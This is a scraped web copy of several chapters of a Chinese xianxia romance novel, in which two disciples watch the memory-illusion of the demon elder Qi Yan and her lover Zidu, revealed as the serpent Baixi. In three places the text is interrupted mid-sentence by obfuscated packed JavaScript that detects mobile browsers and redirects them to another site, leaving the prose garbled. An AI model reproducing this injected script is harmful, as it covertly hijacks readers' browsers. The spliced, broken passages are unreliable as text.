美人空着那只手抚上戚滟的脸,拇指肚擦去她挂在面颊上的眼泪:“我可以替你赚那么多钱,你不开心吗?” 戚滟重重地点头:“谁说我不高兴?我高兴得不知道怎么说好了呢!” 顿了顿,又皱起眉头:“但是你要出台,总不能继续叫美人吧。” 她说着,不知想到什么,看美人的神情含上几分撒娇的怨怼:“你在我这里白吃白喝那么久,我都不知道你的名字。” 美人一愣,笑道:“我叫……” 戚滟:“但是唱唱歌么,也用不上真名,我已经给你起了好几个艺名。” 美人:“。” 美人:“说说看。” 戚滟兴高采烈地列出她耗尽所有才华想出来的名字:“蘅娘、芍药、春喜、子……” 但是很快,她发现自己说不下去了。 因为她每说一个名字,美人便向她靠近一分,等她说到后来,美人的脸已经放大在她的眼前,让她除了美人,再也看不见其他了。 偏偏酒精麻醉了大脑,话已到了嘴边,停又停不下来。 戚滟就望着美人放大了数倍的、好看的脸,呆呆地把最后一个名字说完:“子、子都。” 这是她在诗文里听来的。 山有扶苏,隰有荷华。不见子都,乃见狂且。① 她听闻子都是个顶好看的美男子,许多女子都爱慕他。 戚滟没见过子都,倒是见识过许多狂放粗鲁的男子。 她想,那子都能好看到什么程度呢?能像美人一般好看吗?或许,子都之美,也比不上她眼前的美人吧! 他们靠得这样近,戚滟只觉得自己的心都要从喉咙口跳出来了。 叶岑的心也要从喉咙口跳出来了,她狂甩宋显胳膊:“啊啊啊啊啊啊他们就要亲上了!!啊啊啊啊!!!我要昏古七了!” 宋显耳尖还有些红,被这么一晃,又被吓一跳,冷着脸把自己的胳膊从她手中救出来:“你再甩我胳膊,他们亲不上我也能让你昏古七。” 叶岑:“……” 叶岑:“对不起。” 心中却想:好没情趣的大师兄! 正是大家都心猿意马的时候,雅间外一楼的大堂里响起了闹事的声音。 戚滟的脸顿时板了起来。 她在花楼横行霸道惯了,即便是喝醉了,也不允许有人在她的地盘上横行霸道。 美人微微嘟了嘴正要吻上去,戚滟侧脸错开去,将桌子重重地一拍:“让我看看是谁在撒野!” 就愤然起身,推开雅间的门,雄赳赳气昂昂地往楼下大堂走。 美人:“……” 闹事的是花楼里的常客。 这天花楼里新来了个琴娘,刚调好了弦,还没开始弹,闹事的客人将酒杯一摔,一定要说她走了音。 戚滟人未到,声先至,一边下楼,一边道:“什么东西在这里狺狺狂吠啊?” 客人一听就要发怒,说话间戚滟却已经走到他跟前了。 她喝了酒,面上泛着丝丝潮红,显出几分许久未见的天真。 客人是老主顾,一眼将她认出来,一腔怒气顿时化作一个笑脸:“这不是艳娘吗?许久不见了,还是这么漂亮。” 说着就要上手搂她的腰。 戚滟侧身一躲,眯着眼瞧他:“哪里来的丑东西?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808952|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 四周看戏的客人已经围成了一个圈,听到这话,顿时哄笑起来。 客人面子上挂不住,沉下脸来,抬手就要打,手掌正要落下来,却叫人捏住了腕子。 戚滟只听到客人的一声惨叫,接着她落入一个坚实的怀抱当中。 戚滟侧头去看,还未看清那张脸,先闻到一阵好闻的淡香。她晓得那是美人身上的香味,迟钝得脑子都有点转不过弯来,呆呆喊道:“子都。” 美人:“我还没选名字呢。为什么是子都?” 戚滟烫着脸嗫嚅:“因为子都……生得好看。” 头顶传来两声轻笑。 她这时才觉得酒劲似乎是上来了,腿软得几乎都站不住,于是美人抱她打横抱起,她便顶着大家惊诧又艳羡的目光,娇笑着伸手环上了美人的脖子。 他们一路走出众人的视线,直到到了北苑,美人才将戚滟放下,改为扶着她走。 一路走到戚滟的房门口,美人的脚步忽的一顿,喊道:“戚滟。” 戚滟拽着他的衣襟,茫然地仰起脸,只能望见他优越的下颌骨,再往下,是他的喉结。 美人道:“方才在大堂,我一走出去,那些人都看着我。” 美人道:“若我做了子都,天天都有人那样看着我。” 美人压低声音:“你想那些人,天天都那样看着我吗?” 戚滟不知道,她根本没办法思考,她本来就喝醉了酒,满眼只见到那个喉结上下滚动,滚动一下,她便吞一口口水,至于脑中,早就是白茫茫的一片。 美人道:“不如让我跟在你身边吧。我不收你的钱,但是往后,再有那样挑衅的人,我帮你打断他们的腿,打折他们的手。” 美人对着她的耳垂轻吹一口气:“我做你一个人的子都,不好吗?” 戚滟只觉得脑中轰然一声响,有什么东西倒塌了。 她都不知道自己的手是什么时候按上子都的腰带的,脑子里有片刻清明的时候,他们已经关了门,纠缠在了床上,而床前衣衫散落一地。 叶岑也觉得脑中轰然炸响。 她上辈子是出师未捷身先死,长到这么大,先前见过的最大尺度,是皇上和贵妃一起做大保健,还是幻境里的假象。 此刻虽然同样是幻境,可画面如此香艳,又是现场观摩,还没有缭绕的水汽阻挡视线,完全高清,简直令人血脉贲张。 叶岑惊得微微睁大了眼,正看得专注,后颈被人一提。 叶岑:“?” 宋显拎着叶岑的衣领往外走:“修道之人,最要清心寡欲。色欲是修道大忌,要妨碍你修行的。” 叶岑:“诶诶?” 转头去看宋显,才发现他虽然面如凝脂,可整个耳朵却红得如同可以沁出血来了。 叶岑惊奇道:“宋师兄,怎么你的耳朵这么红?” 宋显正提着叶岑穿墙出去,闻声一个趔趄,将她往地上一丢:“害羞?呵,我在琅嬛楼什么样的禁书没有看过?我会对这种事感到害羞?” 叶岑:“……” 叶岑:“师兄我没说你害羞,我就是说你耳朵红。” 宋显凉凉看叶岑一眼。 叶岑:“。” 叶岑:“对不起。” 心中却想:好难搞的大师兄! 就把自己抱成可怜弱小的一团,在戚滟的房门外坐下。 宋显则是双手环胸,孤傲冷酷地靠墙站着。 然而房门阻隔视线,却无法阻隔声音,两人都不说话之后,顿时安静下来,花楼丝竹之声又是从远处传来,像是被蒙上一层纱,于是屋内的声音便显得格外清晰起来。 叶岑眼观鼻鼻观心,告诉自己不要去听,谁知越是这样想,越是不自觉将耳朵竖起来。 一边听,一边两颊发烫。 她忍不住偷眼去瞧宋显,却见他面色如常,甚至一脸正气。 宋显注意到她的目光,又见她红着的脸,高傲地冷笑一声:“隔音帐,最简单的法术,你不会么?” 叶岑:“……” 听是听说过,但那不是个阵法,她没学。 宋显一脸恨铁不成钢:“啧。” 说着,就向她伸出手来。 叶岑下意识往后一躲:“做什么?” 宋显欺身过来,伸手在她耳下悬空一撩,叶岑顿时觉得周围一片寂静,一点声响都没了。 然后她抬眼对上宋显,他用唇语一字一顿地解释:“帮你清心寡欲。” 16. 第 16 章 第二天戚滟醒来的时候,郁闷得好想给自己点一根事后烟。 她前一天虽然喝得大醉,但完全记得自己喝醉后干了什么。 更何况,此刻与她纠缠了一夜的男人正躺在她的外侧,而她正枕着人家的臂弯! 戚滟抹一把脸,心中只有两个大字——荒唐! 她昨夜答应人家什么了? 只做她一个人的子都……那得损失多少钱啊! 但是——戚滟又想——酒醉后说的话,难道还能作准吗? 大家都不是年轻人了,一夜风流而已,又不是结了什么契约,难道就要纠缠一辈子啦?不可能的! 她于是轻手轻脚爬起来,跨过美人,打算去拾自己脱在地上的衣服。 刚弯下腰,美人展臂过来,搂上她的腰。 美人一开口,声音沙哑:“这么早?再睡一会儿。” 一把将她重新捞回自己的怀里。 戚滟手抵着美人的胸膛,试图反抗:“你……” 美人轻轻地咬她的耳垂,故技重施地在她耳边吹气:“还没睡够。” 戚滟:“那你接着……” 美人打断她,一字一顿:“我是说,还、没、睡、够。” 两个人再一次滚作一团的时候,戚滟想,这种事情果真是食髓知味。 这样看来,美人就做她一个人的子都,也不是不可以。 反正她也不是没有钱。 在门外蹲了一晚上,刚撤了隔音帐的叶岑与宋显:“……” 叶岑与宋显对视一眼。 叶岑道:“那个,我们……” 话刚起了头,就被宋显打断。 宋显道:“我出去走走。” 就红着耳朵尖,头也不回地走了。 叶岑:“……” 美人在花楼留了下来,没有做卖唱的花魁,而成了戚滟一个人的子都。 戚滟松了一口气,又心中有些忐忑。 她为人素来高调,每天带着子都在花楼乱逛,招摇过市的时候,同行们的目光就凝在他们二人身上。 可那些眼神当中,有的是艳羡、嫉妒,却没什么人上门来找她的麻烦。 她起先觉得子都是其他老鸨买来要养作花魁的美人,到了这会儿才知道自己想错了。 但她还记得初见子都时,他那血迹斑斑的衣衫—— 能有那样一身伤的,绝不可能是寻常人家。 她想,子都有这样的好身手,又受过这样重的伤,或许是个杀手,或是个江湖人士,躲进花楼里来,是为了避仇。 但是子都从不讲自己的过去,她便也不问。 戚滟心中清楚,他们都是见色起意的人。 一时兴起的感情,又能持续多长时间呢? 她生在花楼里,太知道爱情其实是个什么模样了。 她与子都,他们不知道对方的过去,也不会拥有对方的将来。 但她不在乎什么将来。 她孤单了太久了,好不容易才遇上一个,不收她的钱,却愿意保护她的人。 不管子都是为了什么留在这里,此刻,她还不想他离开。 戚滟心想,她要想个办法,让他愿意留得更久一些才好。 然而,她做了那么久的花魁,向来知道该如何快速抓住一个男人的心,但对于如何留住对方的心,却并不擅长。 于是戚滟思虑良久。 转眼间年关临近时,戚滟终于想到了一个好办法。 这天早上,戚滟照例给子都做了早饭。 咸豆花,加葱花,还加香菜。 子都吃豆花,戚滟便在一旁看着:“好吃吗?” 子都慢条斯理吃两口,一双眼笑看着戚滟:“好看。” 戚滟的脸红了红,正要说话,子都却在这时候将碗放下,先她一步开口道:“我有事要同你讲。” 戚滟面上笑容一僵。她的视线从子都的脸上扫过,见他嘴角还挂着笑,但一双眼澄澈得很,并没有要与她调笑的样子。 戚滟心中顿时警铃大作—— 他或许是要同她告别了。 在她苦思冥想着该怎么将他留下来的时候。 子都道:“戚滟,我——” 戚滟打断他:“我也有事要同你讲。” 子都于是道:“那你先说。” 戚滟心中慌乱,眼神到处乱瞟,看也不敢看他:“我现在还不能说。今夜月亮升起来的时候,你到桃花渡来,到那时,我再同你讲。” 她顿了顿,又飞快地补充:“我突然想起来,我现在还有点事,你有什么要同我讲的,也到那时,一起同我讲吧。” 她说着,豁然起身,在转身往外走之前,又强调:“记住了月亮升起来的时候,我会在那里等你的。” 这天是这一年的最后一个满月夜,也是城里的增华节。 岁暮增华,福泽来年。每年的这一天,城中的百姓要在穿城而过的河边放花灯,洗去一年的不顺遂,同时乞求来年平安顺遂。 子都申时刚到便在那里等了,那时天还没黑下来,但是站在渡口边,能见到上游的河边,已经有卖河灯小贩摆起摊来,城中也挂上了灯火。 然而那天,他从月上柳梢等到更深露重,河边的人聚了又散,到后来花灯都顺水流走,变成稀疏的点点微光。 他摸摸脖颈,又抬头看看天。 他始终没有等来戚滟。 因为戚滟死在了增华节的这一天。 戚滟自小在花楼长大,在周围环境的耳濡目染之下,从来不是个善茬,坏事不说做尽,其实也做得七七八八了。 也正是因此,她养成谨慎的性子,平日里雇一堆保镖,出门都要人跟着。 但是那段时间,她实在是过分沉迷温柔乡了。 有子都在她身边,她都好长一段时间没有雇佣保镖了。 这一天要提前去桃花渡,子都不在她身边,就这么一个空隙里,她被人套了麻袋,沉进水里淹死了。 戚滟死了都不知道是她的那个仇家来寻的仇。 她有些懊恼地想,可恶,一定是有漏网之鱼了。 转而又想,她做事情素来周全,斩草从来都是要除根的,仇家和仇家的家人,应当都被她杀光了才对。 那么,或许是花楼里的同行,瞧不得她身边有了个子都,出于嫉妒才对她下的手。 这时才恍恍惚惚地察觉到,她向来不信鬼神,但原来人死了,是真成了鬼。 戚滟是溺亡,挣扎的时候麻袋破了口,虽然破口时已经有点晚了,没能让她救回自己的性命,却也不至于让她的尸体沉在暗无天日的河底,与淤泥相伴。 她的尸体随水飘出去不知道多远,等她的鬼魂湿漉漉地从河边爬起来的时候,周围的光景已经不是繁华城镇,而是不知那个荒郊野村了。 戚滟抹一把脸上的水,坐在河边,望着自己浮在水面上的、因为泡了水而肿胀惨白的身体,有些茫然地想,既然世上果真有鬼神,那么一个人生前做了恶,死后兴许是要遭报应的。 凉风一吹,她已经感受不到冷意了,但听觉格外敏锐,能听见寒夜里叶子抖动发出细微的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808953|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 响。 她甩甩脑袋,又想,她都成了鬼了,还有什么好怕的?再不能比现在更差了! 就又嚣张起来。 嚣张了一路,最后去了魔域兴风作浪,以鬼道入了魔,浪成了魔族一个长老。 做鬼原本就比做人自在些,戚滟又是鬼中恶霸,到了魔域,日子过得可以说是如鱼得水。 她不必再为生计担忧,这时候饱暖思淫欲,又想起被她忘在桃花渡头的子都了。 可她当初一朝身死,从一个无所依托的新鬼爬到如今魔域长老的位置,早已不知道过去多少年了,子都难道还能在那渡口等她吗? 他一个有今天没明天的杀手,或许那天,原本就是养好了伤,要与她告别的。 她想,子都或许已经死了,即便没死,恐怕也已成为一个满头白发的老人了。 她与子都,分别在一段爱情还没开始变得索然无味的时候。 于是,从她想起子都那一刻开始,年复一年,子都的倩影萦绕在她心头,挥之不去,最终被时间酿成了白月光、朱砂痣。 这时的戚滟,已经过了很久“想要什么就去抢”的霸道日子了,由奢入俭难,她没办法不去想念子都,又再不可能找到当年的子都,于是,成天差遣手底下的人上街去抢男人。 抢魔域、抢人间,但凡有一点像子都的,都要抢过来,在府里养起来。 但是豢养了一阵子,又觉得他们同她的子都实在不太像,就冷落他们。 好不容易有一次找到一个各方面都像极了子都的,也抓来关了一段时间,可惜一个没留神,也跑了。 直到后来有一天,她出门散心,正好遇上青云门的二长老裴无衣。 那通身冷峻的气质,让戚滟有一瞬间觉得熟悉。 她的眼睛亮了亮,然后…… 然后就被裴无衣打了一顿,关进了浮屠塔。 叶岑:“……” 叶岑看了身旁的宋显一眼。 他们魔族,选长老可真够随便的。也难怪如今魔族势弱,只有那么一点残余势力,成天躲躲藏藏的,好不容易有个少主吧,还是自小养在青云门。 其实代入宋显想一想,魔族如今连长老都成了这副样子,这个魔族少主,确实不当也罢。 实在是让人觉得与有耻焉。 但是宋显面上并无半分羞愧。 他看着幻境里走得飞快的最后一点剧情—— 再然后,便是戚滟在浮屠塔的第三百二十七层,先收服了原住民白矖,让它成了自己的坐骑,又闲来无聊,做了几个傀儡人陪着自己,然后一点一点,逐渐把这一层布置成原先花楼里五颜六色的样子。 宋显眉头蹙起:“不太对劲。” 叶岑:“是啊。” 宋显看向叶岑,颇有些意外:“你也察觉到了?” 叶岑点点头:“先前我们看到那三个木偶人化成的男人,虽然各有各的气质,但细细看他们的五官,其实是有些相像的。当时我还觉得奇怪,如今见到子都,我想明白了——那三个木偶人,分明是照着子都的相貌捏的嘛。” 叶岑深吸一口气,在宋显期待的眼神的注视下,神色肃穆地得出结论:“她好爱他。” 宋显眉心一跳,眼中那少得可怜的赞赏之色顿时烟消云散:“你察觉到的就是这个?” 叶岑一愣:“不然?” 宋显抬手给她额头一个爆栗。 叶岑痛得嗷嗷叫,正要伸手去揉,宋显抓住她的手腕,示意她看自己口型,无声地向她道:“用这个幻境困住我们的,不是戚滟。” 17. 第 17 章 “或者说,不只是戚滟。”宋显补充道。 他环视四周:“还有其他人也在幻境里。” 叶岑也跟着环视四周。 跟随着剧情,他们又回到了浮屠塔中,周围一片亮瞎人眼的姹紫嫣红,只是没有了打斗时的一片狼藉。 但是叶岑没想明白,于是她环视完四周,又茫然地看向宋显。 宋显:“笨。” 他忽然想,先前或许是他将白涟漪想得太复杂了。 她果真是一个心思深沉的女子吗?兴许,她上青云山来确实是有所图谋,但实际上并不是像她想的那样,所图的是个复杂的东西呢? 那样的话,会是什么东西呢? 她隐约有了眉目,但还是茫然。 宋显叹一口气,耐着性子和她解释:“若这只是戚滟的记忆,我们见到的每一个画面里……” 叶岑一点就通,茫然的眼神顿时聚焦,还学会了抢答:“每一个画面里,都应当有戚滟出现。” 孺子可教,宋显面色稍舒,接着循循善诱:“那么,困住我们的另一个人是谁?我们又应当去哪里找?” 叶岑脑子转得不快,记性却好,略一回忆,将两手一合掌:“桃花渡口找子都!” 这是幻境里的浮屠塔,没有禁制,也没有裴无衣看守,两人轻易就出了塔。 然而真要出发去桃花渡了,宋显却一动不动,他解释:“我的剑没有带。” 叶岑倒是有剑,但是她的剑藏在紫府里,还被雷给劈了,蔫了吧唧的不肯出现,以至于紫府的大门紧闭,连她自己都瞧不见。 况且,她即便有剑,她也不会御剑。 叶岑张了张嘴,还没说话,宋显先开口了:“你不会御剑,我知道。” 他环视四周,到一旁折了根杨柳条,递给叶岑:“传送阵,画吧。” 说着,左手一摊,右手作刃,就要往自己手心里割一道。 叶岑赶紧抓住他的手,制止道:“我带了朱砂,带了朱砂的。” 她接过柳枝,又从芥子囊中拿出一小袋朱砂:“你且等我一等。” 只留宋显一人,看着自己被女孩子牵过的手,直愣愣发呆。 半炷香时间过后,叶岑与宋显出现在桃花渡。 那时天还未暗下来,但是临河的树上都被挂上了彩带与小灯笼,只等着入夜,整座城便要热闹起来。 子都也还没来。 宋显想了想,道:“那个子都,恐怕不好对付,我要先去做一下准备,伪装一番。” 进了浮屠塔那么久,叶岑还没遇上展示拳脚的机会,如今连宋显都这样慎重,她只觉得热血沸腾,于是摩拳擦掌,跃跃欲试:“那我呢?我需要做什么?” “你?” 宋显看她一眼,又环视四周,最终目光落在河对面的望江楼上:“那里安全,你就在那里呆着吧。” 叶岑心中一动。 宋显继续道:“省的妨碍我。” 叶岑:“?” 可恶!竟然将她当做累赘,当做废物小点心! 是可忍,孰不可忍! 叶岑当即垮起个批脸,转身就要走,却不是往望江楼的方向。 宋显:“你干什么去?” 叶岑:“我去望江楼呆着。” 宋显:“那走错方向了。” 叶岑:“才没有。” 叶岑生气地一指远方水上石块搭的桥:“我又不会飞,当然是从那里过河啊。” 宋显:“啧。” 几步追上叶岑,一把抓住她的衣后领。 叶岑:“?” 下一瞬,叶岑凌空而起,反应过来的时候,已经落在望江楼里了。 宋显评价道:“啧。” 然后撤回手:“好了,在这里等我。” 说着就要走,一转身,被叶岑拽住衣角。 宋显回过头去,叶岑手中拿正着一沓符箓。 她要证明自己也很重要,从符箓中挑了几张出来,一一介绍:“这张是护身符,这张是护心符,这张是聚灵符,这几张是爆裂符。还有这个,瀚海符,里头藏了一个六合阵,只要丢出去,阵法就能奏效,还有……” 宋显打断她:“这么多符箓,长得也差不多,我怎么记得住?” 话是这么说,手却伸过来,将符箓接下了。 叶岑后退一步,学他的语气:“啧。” 宋显:“……” 他当然记住了,他只是见她这么慎重给他送这么多符箓,生怕他保护不好自己似的,突发奇想,想逗她一逗。 宋显觉得,自己大约是看多了戚滟的故事后,脑子出问题了。 他哼一声:“我当然是记住了。” 他一张张翻过符箓:“护身符,护心符,聚灵符,爆裂符,还有什么六合阵。” 然后去看叶岑,她正眼神游移地搓手指,似乎欲言又止。 宋显道:“还有什么要说的?” 叶岑咬咬牙,从那沓符箓当中又抽出一张:“这张瀚海符里是绞杀阵,杀伤力更大一些,但是我只有一张,你……” 她话说到后来,声音都小了,满脸舍不得,犹犹豫豫的,似乎又想收回去。 宋显飞快地将符纸从她手中抽出来,不给她反悔的机会:“好,我会慎重使用的。” 却不知为什么,再转身要走的时候,脚步都轻快起来了。 宋显走后,叶岑百无聊赖挂在临江的栏杆上。 不得不说,宋显选的这个地方极妙,倚着栏杆望出去,恰能看到对面的桃花渡,一点遮挡的杂树都没有。 不多时,子都的身影出现了。 他穿白衣,简简单单玉冠束了发,模样瞧着很是清俊。 他走到桃花渡口边,便背手站在那里,只望着河面,也不知在想些什么。 增华节这天城中热闹,出来过节的女孩子也比平日里更大胆些,遇上好看的男子,便主动上前与他搭讪。 子都站在那里,有几个女孩子在他身后不远处盯着他窃窃私语良久,最终有一个鼓起勇气,上前与他说话。 大抵因为叶岑是身处在幻境中,隔着这么远的距离,她也能听清对面渡口上的对话。 那个上前的女孩子道:“这位小郎君,你都在这站了好长时间了,是在等心上人吗?” 子都转过身去,一双白多黑少的眼睛从几个姑娘身上扫过,道:“滚。” 那些姑娘顿时变了脸色,转身就走,一边走,一边道:“好不解风情的男子。” “就是,长得好看了不起啊!” …… 她们抱怨着走出一段路,后来不知谈到什么,就又高兴起来,互相打闹。 叶岑的目光追着她们走了一阵,回过神来后,在子都的周围找了一圈,却没瞧见宋显。 叶岑心下觉得困惑,他说对付子都之前要去准备准备,可是这会儿他们人都在幻境里了,还能准备什么呢? 他不会跑了吧? 正当这时,有一人与嬉笑的女孩子们擦肩而过,与其中一个女孩子撞到肩膀。 那人继续往前走,女孩子却停下脚步,叫道:“喂,你撞到人了。” 那人于是也停下脚步,动作迟缓地转过身来。 她身上盖了一块巨大的灰色破披风,从头顶一指盖到脚尖,还拉了一角遮住半张脸。但从那佝偻的身形看,应当是个老妪。 老妪道:“我撞到人了吗?” 原本要兴师问罪的女孩子们一瞧是个老妪,也软下心来,被撞的那个姑娘揉揉肩膀,道:“算了算了,你走吧。” 顿了顿,又叮嘱:“老婆婆,走路还是要小心一些。” 老妪道:“姑娘,你心眼儿真好。” 她说着,走上前去,从挎着的篮子里拿出一枝娇艳的红梅:“好姑娘,买束花吧,买来赠与你的有情郎。” 姑娘顿时红了脸:“什么有情郎呀!臊死人了!” 老妪:“那便买来赠给自己。” 姑娘:“可是……哪里有自己给自己送花的呀!” 老妪:“怎么不行?我们女孩子,喜欢花就去买,难道非得等着男人来送吗?” 老妪说着,捻着那株红梅比在姑娘耳边:“我瞧姑娘你模样俊俏,这红梅,正与你相衬呢。” 姑娘:“真的吗?” 老妪:“真的呀!也不对,仔细看看,好像还是红梅略输了一筹。” 姑娘脸红了红:“婆婆你逗我高兴呢!” 话虽如此说,几个小姑娘却还是各自买了株红梅,欢天喜地地走远了。 远处望江楼上,将这整个过程都瞧在眼中的叶岑,瞳孔地震。 那些女孩子眼拙瞧不出,可她却看得分明。 那个遮了半张脸的老太太,虽然瞧着身形佝偻,实际上步伐稳健—— 分明就是宋显啊! 所以他说的做准备,就是指扮成个老太太在这里卖梅花吗?! 他好骚啊! 老太太宋显卖花赚了钱,虽然还是佝偻着继续前行,步伐却更带上几分风姿绰约。 他又走了一段路,最终来到桃花渡口。 子都还负手立在那里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16811614|190790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋显站在他身后,细着嗓喊:“这位小郎君。” 子都回过身,还是一张生人勿进的脸。 宋显赶在他开口之前捻起一株梅花,递到他眼前:“小郎君是在等心上人吧?这样好的节日,怎么可以空手等呢?” 叶岑心下一松。 ——原来是要借卖花老妪的身份,让子都先放松警惕。 但是即便如此,逗弄那些小姑娘买花做什么啦! 而且看他熟稔的样子,根本就是经常这样角色扮演好伐啦! 叶岑继续往下看。 子都让宋显一打断,非但没有让人滚,反而面上露出几分错愕:“可是我等的那女子,她说她成天都见到花,瞧得都腻味了,如今最不喜欢的就是花。” 宋显拿红梅撩他脸:“诶!小郎君还是太年轻了!女孩子么,最爱说反话了,她们说不喜欢,那就是喜欢。当然了,她们若是说喜欢,那也一定是喜欢。少年人,你相信我,你买了这花送给她,她一定高兴。” 子都迟疑道:“这样的么?” 宋显:“是啊!哪个女孩子不渴望收到心上人送的花呢?对她们而言,收到的难道仅仅是花么?她们收到的,还有情郎对她们的珍视和爱啊!试问,世界上果真有女子能拒绝这样的心意吗?不存在的!” 子都将信将疑。 宋显一把将花塞进他手里,愤愤然:“大男人做什么扭扭捏捏的!今天老婆子我就不收你的钱,你拿了这花,且去试试,看那姑娘收了花,是感动还是生气!” 叶岑:“……” 宋师兄他入戏好深。 她抬头看天幕。 这时夜幕还不算彻底降临,但是天已经暗下来了,往上游望去,江边已经聚了一些过节的人,三三两两凑做一堆,有的手中还提个花里胡哨的纸灯笼。 再看看东面的天,一轮圆月正爬上柳梢头。 子都手中拿着花,还发愣。 宋显挎着篮子也不走,与他搭话:“你等的那姑娘,还没来吗?” 子都愣愣地摸摸自己的脖颈,只道:“还没来吗?我不知道、我不知道。” 宋显:“不会是……来不了了吧?” 子都面上顿时显出几分戾色,但很快又被他压下去,手还摸在脖子上,嘴里喃喃低语道:“不、不会的,她一定会来、一定会来。” “一定会来么?你们约的是月上柳梢头,可是你瞧瞧,”宋显顿了顿,抬头指天,“你瞧瞧,现在月亮都升到哪里了?” 幻境中的时间走得是没有规律的,他抬手往天上一指,那一轮圆月便高悬于他们的正上方,而周遭的热闹也顿时消失不见,成了一片可怕的寂静。 “你等的那个人来不了啦。”宋显笑着道,“她死在来路上了。” 子都面色骤然一面,探手就要去抓宋显。 宋显早有准备,敏捷地向后一掠,却还是被勾住了披风的一角。 伪装的披风被扯落,露出里头……穿着一身艳色衣裙的宋显! 叶岑:“?” 这让人觉得如此眼熟的衣裙? 这不是先前花楼里,戚滟穿过的吗? 是怪癖吧! 这一定是宋师兄不为人知的奇怪癖好吧! 叶岑想起来,她从前不知从哪里听说过,男人着女装,是容易成瘾的,往往有了第一次,就会有第二次、第三次、第千千万万次。 ——今天也仍未知道,芝兰玉树的宋隐之师兄一天天窝在琅嬛楼到底看的什么书。 子都有一瞬间的恍惚:“戚……” 但他很快看清眼前人,顿时凶相毕现,厉声道:“你究竟是谁?” 宋显足尖一点,顶着个妖艳的大浓妆,叉腰立在水面上:“我是谁有什么重要的?重要的是,你还记得你是谁吗?” 后面他没能说下去,因为子都已经向他出手。 他一出手尽是杀招,一招比一招凌厉。 宋显却躲得游刃有余,一边裙袂飘飞着,一边还有余力说话刺激他:“还不愿醒来吗?从前是躲在花楼里,现在是躲在女人的幻境里,真不像个男人!” 子都闻声,瞳仁骤然放大,瞳色也淡成了琥珀色。 只听他痛苦地长吟一声,下一瞬,一条巨大的白蛇拔地而起,立起来有三层楼高,“嘶嘶”地吐着信子,一双竖瞳瞳孔皱缩,望着宋显时,透出可怖的杀意。 但是仔细一看,这白蛇虽然瞧着威风,大约是七寸的地方,却被人剖开长长的一道。 正是先前在第三层企图吞噬不嗔兽、在宋显口中本应该已经死去了的,异兽白矖。 18. 第 18 章 子都竟然就是白矖! 叶岑想起在幻境里与宋显相遇时,他说过的话—— 我割开了祂的七寸,祂一定活不成了。 难怪子都等在桃花渡口时,时不时就要伸手摸摸自己的脖子。 又难怪菜鸡如戚滟,进了浮屠塔之后,能让白矖成了她的坐骑。 然而它不但没有活不成,拖着这样一截烂肉,还是杀伤力巨大,与宋显打在一起,短时间内,胜负难分。 宋显却丝毫不见慌张,他一面退,一面手上也不闲着,掏出叶岑赠给他的爆裂符,专门就往白矖七寸的伤口上丢。 叶岑:……好狠的手段,一时竟让人分不清到底谁才是魔头。 这么一想又不对,宋显可是魔族的小少主,不确实也是个魔头嘛! 魔头宋显身姿灵巧,左躲右闪,步法飘逸,若非穿的一身艳色衣裙,还真是有了几分倜傥的味道。 但是结合他的一身妆容与打扮,叶岑只觉得……辣眼睛。 他们纠缠得激烈,白矖的蛇尾几次扫过望江楼,叶岑赶紧往后退了退。 退了两步,却忽然感觉到一个冰冷坚硬的东西,抵到了她的后背。 一个娇媚的声音在她耳边道:“叫你的小情郎住手,不然,我可不敢保证手上的力气不会再加大一分。” 叶岑后退的脚步一顿。 她认得出抵住她后背的东西,那是戚滟的烟杆。此刻抵住她的是杆头,可下一瞬,没准就能伸出锋利的薄刃来。 叶岑顿时浑身一僵,冷汗涔涔:“戚滟姐姐真爱说笑,我哪里来的小情郎?” 戚滟:“他不是你的小情郎?” 戚滟冷笑:“他不是你的小情郎,你方才同他打情骂俏做什么?他不是你的小情郎,你一个正道人士,还学他管我一个魔修叫姐姐?” 叶岑:“……” 叶岑从善如流地改口:“魔头,我……” 戚滟绿色的秀眉一挑:“你敢叫我魔头?” 手拿着烟杆又往前顶了一寸:“你是不是不想活了?” 叶岑:“?” 叶岑:“……” 叶岑把嘴闭上了。 戚滟:“你为什么不说话?” 叶岑:“多说多错,我怕说错话,直接让你给杀了。” 戚滟:“你叫你的情郎住手,我便不会杀你。” 叶岑抬眼,宋显正与白矖打得难舍难分,他骑跨在白矖的蛇身上,从头上拔下挽发的簪子,就要往它的眼睛里扎。 叶岑:“。” 看来一时半会儿是关注不到她这边。 而戚滟的烟杆,正抵在她的后背。 叶岑额上流下一滴汗,又想—— 而且就算关注到了,宋显对她见死不救,也不是一回两回了。 叶岑于是败下阵来:“我可以叫他住手,但是他听不听我的话,我就不敢保证了。” 戚滟:“废话少说,快讲!” 叶岑张了张口,却欲言又止,愁眉不展:“我说不出口。” 戚滟:“怎么说不出口?” 